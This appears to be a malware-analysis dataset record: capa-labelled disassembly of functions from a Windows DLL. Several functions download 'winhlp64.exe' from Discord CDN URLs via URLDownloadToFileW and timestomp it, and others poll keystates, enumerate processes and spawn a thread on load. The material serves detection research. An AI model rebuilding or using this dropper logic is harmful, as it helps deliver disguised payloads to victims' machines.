joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18001ea70
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x5c40], 0
lea rbx, [rcx + 0x5c48]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x18001eb17
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x18001eaca
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.1800212f0
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.180007220
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x5c40]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x5c50]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x1801f2908]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x18001eb1f
mov rcx, rbx
call fcn.180007220
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x18001f0b0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
movzx r8d, byte [rcx]
lea rdx, [rcx + 1]
mov r14, qword [0x1801f2910]
mov r9d, 0xffffffff
mov ebx, r9d
test r8b, r8b
je 0x18001f114
lea r10, [0x1800eb230]
cmp r8b, 0x23
jne 0x18001f0f7
cmp byte [rdx], r8b
jne 0x18001f0f7
cmp byte [rdx + 1], r8b
cmove ebx, r9d
movzx ecx, bl
movzx eax, r8b
movzx r8d, byte [rdx]
xor rcx, rax
shr ebx, 8
inc rdx
xor ebx, dword [r10 + rcx*4]
test r8b, r8b
jne 0x18001f0e4
mov eax, dword [r14 + 0x5bb8]
xor edi, edi
mov qword [rsp + 0x30], rbp
not ebx
mov qword [rsp + 0x38], rsi
test eax, eax
jle 0x18001f175
mov esi, edi
mov ebp, edi
test rsi, rsi
js 0x18001f13a
cmp edi, eax
jl 0x18001f154
mov r8d, 0x6fb
lea rdx, [0x1800e5af0]
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [r14 + 0x5bc0]
cmp dword [rax + rbp + 8], ebx
je 0x18001f192
mov eax, dword [r14 + 0x5bb8]
inc edi
inc rsi
add rbp, 0x48
cmp edi, eax
jl 0x18001f131
xor eax, eax
mov rsi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
test edi, edi
js 0x18001f19f
cmp edi, dword [r14 + 0x5bb8]
jl 0x18001f1b9
mov r8d, 0x6fb
lea rdx, [0x1800e5af0]
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rax, edi
lea rcx, [rax + rax*8]
mov rax, qword [r14 + 0x5bc0]
lea rax, [rax + rcx*8]
jmp 0x18001f177
Function at 0x1800447c0
Capabilities:
Log keystrokes via polling

Disassembly:
push rbx
sub rsp, 0x20
mov ecx, 0x210
call fcn.180014db0
cmp byte [rax], 0
je 0x180044859
mov ecx, 0x210
call fcn.180005b80
cmp byte [rax + 8], 0
jne 0x180044859
mov ecx, 0xa0
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
test al, 1
jne 0x180044859
mov rbx, qword [0x1801f2910]
test rbx, rbx
jne 0x180044828
mov r8d, 0xfe1
lea rdx, [0x1800e5d10]
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1801f2910]
cmp byte [rbx + 0x37a9], 0
je 0x180044845
xorps xmm3, xmm3
lea rcx, [rbx + 8]
xor r8d, r8d
mov edx, 0x210
call fcn.180006130
mov dword [rbx + 0x380], 0x210
mov dword [rbx + 0x940], 0xa0
mov ecx, 0x214
call fcn.180014db0
cmp byte [rax], 0
je 0x1800448ec
mov ecx, 0x214
call fcn.180005b80
cmp byte [rax + 8], 0
jne 0x1800448ec
mov ecx, 0xa1
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
test al, 1
jne 0x1800448ec
mov rbx, qword [0x1801f2910]
test rbx, rbx
jne 0x1800448bb
mov r8d, 0xfe1
lea rdx, [0x1800e5d10]
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1801f2910]
cmp byte [rbx + 0x37a9], 0
je 0x1800448d8
xorps xmm3, xmm3
lea rcx, [rbx + 8]
xor r8d, r8d
mov edx, 0x214
call fcn.180006130
mov dword [rbx + 0x384], 0x214
mov dword [rbx + 0x950], 0xa1
mov ecx, 0x212
call fcn.180014db0
cmp byte [rax], 0
je 0x18004497f
mov ecx, 0x212
call fcn.180005b80
cmp byte [rax + 8], 0
jne 0x18004497f
mov ecx, 0x5b
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
test al, 1
jne 0x18004497f
mov rbx, qword [0x1801f2910]
test rbx, rbx
jne 0x18004494e
mov r8d, 0xfe1
lea rdx, [0x1800e5d10]
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1801f2910]
cmp byte [rbx + 0x37a9], 0
je 0x18004496b
xorps xmm3, xmm3
lea rcx, [rbx + 8]
xor r8d, r8d
mov edx, 0x212
call fcn.180006130
mov dword [rbx + 0x26c], 0x212
mov dword [rbx + 0x948], 0x5b
mov ecx, 0x216
call fcn.180014db0
cmp byte [rax], 0
je 0x180044a12
mov ecx, 0x216
call fcn.180005b80
cmp byte [rax + 8], 0
jne 0x180044a12
mov ecx, 0x5c
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
test al, 1
jne 0x180044a12
mov rbx, qword [0x1801f2910]
test rbx, rbx
jne 0x1800449e1
mov r8d, 0xfe1
lea rdx, [0x1800e5d10]
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1801f2910]
cmp byte [rbx + 0x37a9], 0
je 0x1800449fe
xorps xmm3, xmm3
lea rcx, [rbx + 8]
xor r8d, r8d
mov edx, 0x216
call fcn.180006130
mov dword [rbx + 0x270], 0x216
mov dword [rbx + 0x958], 0x5c
add rsp, 0x20
pop rbx
ret
Function at 0x180049500
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x280
xor edx, edx
mov rbx, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x180049547
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x18004955a
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x298]
add rsp, 0x280
pop rsi
ret
mov qword [rsp + 0x290], rdi
xor edi, edi
nop dword [rax]
nop dword [rax + rax]
xorps xmm0, xmm0
mov qword [rsp + 0x30], rdi
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x38], rdi
lea rax, [rsp + 0x6c]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], di
jne 0x180049590
lea rdx, [rsp + 0x6c]
lea rcx, [rsp + 0x20]
call fcn.180068d80
cmp qword [rbx + 0x18], 8
mov rax, rbx
jb 0x1800495b6
mov rax, qword [rbx]
mov r10, qword [rsp + 0x38]
lea r8, [rsp + 0x20]
mov r9, qword [rsp + 0x20]
cmp r10, 8
mov rdx, qword [rsp + 0x30]
cmovae r8, r9
cmp rdx, qword [rbx + 0x10]
jne 0x180049653
test rdx, rdx
je 0x1800495f4
sub r8, rax
movzx ecx, word [r8 + rax]
cmp cx, word [rax]
jne 0x180049653
add rax, 2
sub rdx, 1
jne 0x1800495e0
mov edi, dword [rsp + 0x48]
cmp r10, 8
jb 0x18004962f
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x180049627
mov r9, qword [r9 - 8]
add rdx, 0x27
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800496a2
mov rcx, r9
call fcn.1800cfef0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x298]
mov eax, edi
mov rdi, qword [rsp + 0x290]
add rsp, 0x280
pop rsi
ret
cmp r10, 8
jb 0x18004968a
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x180049682
mov r9, qword [r9 - 8]
add rdx, 0x27
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800496a2
mov rcx, r9
call fcn.1800cfef0
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180049570
jmp 0x18004962f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x18005dea0
Capabilities:
Download url
Receive data
Timestomp file

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xd0
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 9], xmm1
mov r8d, 0xb8
lea rdx, str.https:__cdn.discordapp.com_attachments_1161709393218379867_1256314381457690715_winhlp64.exe_ex668cd7b1is668b8631hma713173cec884fdaecb01087ba347fe77a6dd3c419575793c3ea9ca7ebbe9680
lea rcx, [rbp - 0x19]
call fcn.180068d80
nop
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x17], xmm1
mov r8d, reloc.WS2_32.dll_socket
lea rdx, [0x1800f2228]
lea rcx, [rbp + 7]
call fcn.180068d80
nop
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x39], xmm0
xor esi, esi
mov qword [rbp - 0x29], rsi
lea ecx, [rsi + 0x40]
call fcn.1800d0088
mov rbx, rax
mov qword [rbp - 0x39], rax
mov qword [rbp - 0x31], rax
lea rdi, [rax + 0x40]
mov qword [rbp - 0x29], rdi
lea rax, [rbp - 0x39]
mov qword [rbp + 0x67], rax
mov qword [rbp + 0x27], rbx
mov qword [rbp + 0x2f], rbx
lea rax, [rbp - 0x39]
mov qword [rbp + 0x37], rax
mov qword [rbp + 0x77], rbx
lea rdx, [rbp - 0x19]
mov rcx, rbx
call fcn.180066fa0
nop
lea rcx, [rbx + 0x20]
lea rdx, [rbp + 7]
call fcn.180066fa0
nop
mov qword [rbp - 0x31], rdi
lea r9, [fcn.18005e0d0]
lea edx, [rsi + 0x40]
lea r8d, [rsi + 1]
lea rcx, [rbp - 0x19]
call fcn.1800cfe20
mov rdi, qword [rbp - 0x31]
mov rbx, qword [rbp - 0x39]
cmp rbx, rdi
je 0x18005dfc8
add rbx, 0x20
nop dword [rax]
mov r8, rbx
cmp qword [rbx + 0x18], 8
jb 0x18005df9d
mov r8, qword [rbx]
lea rdx, [rbx - 0x20]
cmp qword [rbx - 8], 8
jb 0x18005dfab
mov rdx, qword [rdx]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
add rbx, 0x40
lea rax, [rbx - 0x20]
cmp rax, rdi
jne 0x18005df90
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x18005dfe6
imul rax, rax, 0x64
jmp 0x18005e001
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
movabs rcx, 0x7fffffff4d2fa1ff
cmp rax, rcx
jge 0x18005e01e
mov ecx, 0xb2d05e00
add rcx, rax
mov qword [rbp + 0x67], rcx
jmp 0x18005e02c
movabs rax, 0x7fffffffffffffff
mov qword [rbp + 0x67], rax
lea rcx, [rbp + 0x67]
call fcn.180069db0
mov dword [rbp - 0x49], 0x307e5
mov ebx, 3
mov dword [rbp - 0x43], 0x13001b
mov dword [rbp - 0x3f], Ordinal_60
mov word [rbp - 0x3b], si
lea rdx, [rbp + 0x6f]
lea rcx, [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
test eax, eax
je 0x18005e0b4
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], ebx
xor r9d, r9d
mov edx, 0x100
lea r8d, [rbx + 4]
lea rcx, [0x1800f2228]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18005e0b4
lea r9, [rbp + 0x6f]
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp - 0x39]
call fcn.1800674a0
mov rbx, qword [rsp + 0x108]
add rsp, 0xd0
pop rdi
pop rsi
pop rbp
ret
Function at 0x18005e190
Capabilities:
Download url
Receive data
Timestomp file

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xd0
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 9], xmm1
mov r8d, 0xb8
lea rdx, str.https:__cdn.discordapp.com_attachments_1161709393218379867_1256314517021921322_winhlp64.exe_ex668cd7d2is668b8652hm7e82700e4344ee9c7326601f1deae311968b8746c13438145518a2861c630681
lea rcx, [rbp - 0x19]
call fcn.180068d80
nop
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x17], xmm1
mov r8d, reloc.WS2_32.dll_socket
lea rdx, [0x1800f2228]
lea rcx, [rbp + 7]
call fcn.180068d80
nop
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x39], xmm0
xor esi, esi
mov qword [rbp - 0x29], rsi
lea ecx, [rsi + 0x40]
call fcn.1800d0088
mov rbx, rax
mov qword [rbp - 0x39], rax
mov qword [rbp - 0x31], rax
lea rdi, [rax + 0x40]
mov qword [rbp - 0x29], rdi
lea rax, [rbp - 0x39]
mov qword [rbp + 0x67], rax
mov qword [rbp + 0x27], rbx
mov qword [rbp + 0x2f], rbx
lea rax, [rbp - 0x39]
mov qword [rbp + 0x37], rax
mov qword [rbp + 0x77], rbx
lea rdx, [rbp - 0x19]
mov rcx, rbx
call fcn.180066fa0
nop
lea rcx, [rbx + 0x20]
lea rdx, [rbp + 7]
call fcn.180066fa0
nop
mov qword [rbp - 0x31], rdi
lea r9, [fcn.18005e0d0]
lea edx, [rsi + 0x40]
lea r8d, [rsi + 1]
lea rcx, [rbp - 0x19]
call fcn.1800cfe20
mov rdi, qword [rbp - 0x31]
mov rbx, qword [rbp - 0x39]
cmp rbx, rdi
je 0x18005e2b8
add rbx, 0x20
nop dword [rax]
mov r8, rbx
cmp qword [rbx + 0x18], 8
jb 0x18005e28d
mov r8, qword [rbx]
lea rdx, [rbx - 0x20]
cmp qword [rbx - 8], 8
jb 0x18005e29b
mov rdx, qword [rdx]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
add rbx, 0x40
lea rax, [rbx - 0x20]
cmp rax, rdi
jne 0x18005e280
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x18005e2d6
imul rax, rax, 0x64
jmp 0x18005e2f1
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
movabs rcx, 0x7fffffff4d2fa1ff
cmp rax, rcx
jge 0x18005e30e
mov ecx, 0xb2d05e00
add rcx, rax
mov qword [rbp + 0x67], rcx
jmp 0x18005e31c
movabs rax, 0x7fffffffffffffff
mov qword [rbp + 0x67], rax
lea rcx, [rbp + 0x67]
call fcn.180069db0
mov dword [rbp - 0x49], 0x307e5
mov ebx, 3
mov dword [rbp - 0x43], 0x13001b
mov dword [rbp - 0x3f], Ordinal_60
mov word [rbp - 0x3b], si
lea rdx, [rbp + 0x6f]
lea rcx, [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
test eax, eax
je 0x18005e3a4
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], ebx
xor r9d, r9d
mov edx, 0x100
lea r8d, [rbx + 4]
lea rcx, [0x1800f2228]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18005e3a4
lea r9, [rbp + 0x6f]
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp - 0x39]
call fcn.1800674a0
mov rbx, qword [rsp + 0x108]
add rsp, 0xd0
pop rdi
pop rsi
pop rbp
ret
Function at 0x18005e3c0
Capabilities:
Download url
Receive data
Timestomp file

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xd0
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 9], xmm1
mov r8d, 0xb8
lea rdx, str.https:__cdn.discordapp.com_attachments_1161709393218379867_1256314641114595440_winhlp64.exe_ex668cd7efis668b866fhmf7365cf5a91aafa97d61a2d289b7a31d3da57d5a20b4d518ae26a04796b1271e
lea rcx, [rbp - 0x19]
call fcn.180068d80
nop
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x17], xmm1
mov r8d, reloc.WS2_32.dll_socket
lea rdx, [0x1800f2228]
lea rcx, [rbp + 7]
call fcn.180068d80
nop
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x39], xmm0
xor esi, esi
mov qword [rbp - 0x29], rsi
lea ecx, [rsi + 0x40]
call fcn.1800d0088
mov rbx, rax
mov qword [rbp - 0x39], rax
mov qword [rbp - 0x31], rax
lea rdi, [rax + 0x40]
mov qword [rbp - 0x29], rdi
lea rax, [rbp - 0x39]
mov qword [rbp + 0x67], rax
mov qword [rbp + 0x27], rbx
mov qword [rbp + 0x2f], rbx
lea rax, [rbp - 0x39]
mov qword [rbp + 0x37], rax
mov qword [rbp + 0x77], rbx
lea rdx, [rbp - 0x19]
mov rcx, rbx
call fcn.180066fa0
nop
lea rcx, [rbx + 0x20]
lea rdx, [rbp + 7]
call fcn.180066fa0
nop
mov qword [rbp - 0x31], rdi
lea r9, [fcn.18005e0d0]
lea edx, [rsi + 0x40]
lea r8d, [rsi + 1]
lea rcx, [rbp - 0x19]
call fcn.1800cfe20
mov rdi, qword [rbp - 0x31]
mov rbx, qword [rbp - 0x39]
cmp rbx, rdi
je 0x18005e4e8
add rbx, 0x20
nop dword [rax]
mov r8, rbx
cmp qword [rbx + 0x18], 8
jb 0x18005e4bd
mov r8, qword [rbx]
lea rdx, [rbx - 0x20]
cmp qword [rbx - 8], 8
jb 0x18005e4cb
mov rdx, qword [rdx]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
add rbx, 0x40
lea rax, [rbx - 0x20]
cmp rax, rdi
jne 0x18005e4b0
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x18005e506
imul rax, rax, 0x64
jmp 0x18005e521
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
movabs rcx, 0x7fffffff4d2fa1ff
cmp rax, rcx
jge 0x18005e53e
mov ecx, 0xb2d05e00
add rcx, rax
mov qword [rbp + 0x67], rcx
jmp 0x18005e54c
movabs rax, 0x7fffffffffffffff
mov qword [rbp + 0x67], rax
lea rcx, [rbp + 0x67]
call fcn.180069db0
mov dword [rbp - 0x49], 0x307e5
mov ebx, 3
mov dword [rbp - 0x43], 0x13001b
mov dword [rbp - 0x3f], Ordinal_60
mov word [rbp - 0x3b], si
lea rdx, [rbp + 0x6f]
lea rcx, [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
test eax, eax
je 0x18005e5d4
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], ebx
xor r9d, r9d
mov edx, 0x100
lea r8d, [rbx + 4]
lea rcx, [0x1800f2228]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18005e5d4
lea r9, [rbp + 0x6f]
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp - 0x39]
call fcn.1800674a0
mov rbx, qword [rsp + 0x108]
add rsp, 0xd0
pop rdi
pop rsi
pop rbp
ret
Function at 0x180065600
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
cmp edx, 1
jne 0x180065633
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor eax, eax
lea r8, [0x18005e5f0]
mov qword [rsp + 0x28], rax
mov r9, rbx
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x30
pop rbx
ret

Function at 0x180065980
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x1800659a1
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x1800659ce
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x1800659d0
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x180065a29
test ecx, ecx
jle 0x180065a09
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x180065a29
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x180065a29
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
xor esi, dword [rdx]
add dh, byte ds:[rdi]
adc esi, dword [rbx]
add eax, dword [rbx]
and ecx, dword [rsi]
add al, byte [rbx]
or al, al
invalid
Function at 0x180065a50
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x180065a81
xor eax, eax
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
je case.default.0x180065a98
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x30], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x180065abb
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x180065abd
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x180065af9
mov qword [rsp + 0x38], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x38]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x180065b8e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x180065b34
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x180065b6e
nop dword [rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x180065b8e
cmp rbx, rax
ja 0x180065b40
test rbx, rbx
je 0x180065b8e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
mov rsi, qword [rsp + 0x48]
sub rbp, rbx
mov rbx, qword [rsp + 0x30]
mov rax, rbp
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
add ah, bh
Function at 0x180065fe0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x70
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x180066004
xor eax, eax
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
mov rax, qword [rcx + 0x40]
mov rcx, qword [rax]
test rcx, rcx
je 0x180066047
mov rdx, qword [rbx + 0x58]
movsxd r8, dword [rdx]
lea rax, [rcx + r8]
cmp rcx, rax
jae 0x180066047
lea eax, [r8 - 1]
mov dword [rdx], eax
mov rcx, qword [rbx + 0x40]
mov rdx, qword [rcx]
lea rax, [rdx + 1]
mov qword [rcx], rax
mov eax, edi
mov byte [rdx], dil
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0x80], rsi
je 0x180066178
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x18006608a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1800660b5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmove edi, ecx
mov eax, edi
jmp 0x18006617d
lea rax, [rsp + 0x90]
mov byte [rsp + 0x40], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x41]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x40]
lea rax, [rsp + 0x98]
mov qword [rsp + 0x20], rax
